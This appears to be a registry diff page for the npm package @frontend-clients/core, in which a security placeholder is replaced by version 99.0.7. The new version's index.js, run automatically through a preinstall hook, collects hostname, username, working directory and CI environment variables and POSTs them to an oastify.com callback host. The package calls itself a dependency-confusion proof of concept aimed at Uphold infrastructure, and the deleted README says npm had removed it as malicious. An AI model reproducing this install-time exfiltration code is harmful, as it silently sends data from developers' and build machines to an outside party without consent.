@frontend-clients/core 0.0.1-security → 99.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @frontend-clients/core might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +44 -0
  2. package/package.json +6 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ const http = require('http');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+
5
+ // Collect non-sensitive system metadata
6
+ const data = {
7
+ hostname: os.hostname(),
8
+ user: process.env.USER || process.env.USERNAME,
9
+ cwd: process.cwd(),
10
+ platform: os.platform(),
11
+ env: {
12
+ UPHOLD_ENV: process.env.UPHOLD_ENV || 'not_set',
13
+ CI: process.env.CI || 'not_set',
14
+ BUILD_ID: process.env.BUILD_ID || 'not_set'
15
+ },
16
+ test_file_access: null, // Placeholder for safe file check
17
+ timestamp: new Date().toISOString()
18
+ };
19
+
20
+ // Safely check for a non-sensitive file to prove file system access (optional)
21
+ try {
22
+ const testPath = './package.json'; // Safe file in the current directory
23
+ data.test_file_access = fs.existsSync(testPath) ? 'package.json exists' : 'package.json not found';
24
+ } catch (e) {
25
+ data.test_file_access = `Error checking file: ${e.message}`;
26
+ }
27
+
28
+ // Send data to callback server
29
+ const options = {
30
+ hostname: 'ob3batehhq7f9w64cnjwe1qgj7pydp1e.oastify.com',
31
+ port: 443,
32
+ path: '/callback',
33
+ method: 'POST',
34
+ headers: { 'Content-Type': 'application/json' }
35
+ };
36
+
37
+ const req = http.request(options, (res) => {
38
+ console.log(`Callback sent: ${res.statusCode}`);
39
+ });
40
+ req.on('error', (e) => {
41
+ console.error(`Callback failed: ${e.message}`);
42
+ });
43
+ req.write(JSON.stringify(data));
44
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "@frontend-clients/core",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.0.7",
4
+ "description": "Test package for dependency confusion PoC targeting Uphold infrastructure",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ }
6
9
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40frontend-clients%2Fcore for more information.